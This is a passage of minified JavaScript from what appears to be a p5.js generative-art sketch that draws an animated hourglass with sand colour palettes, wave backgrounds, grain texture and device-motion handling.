rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
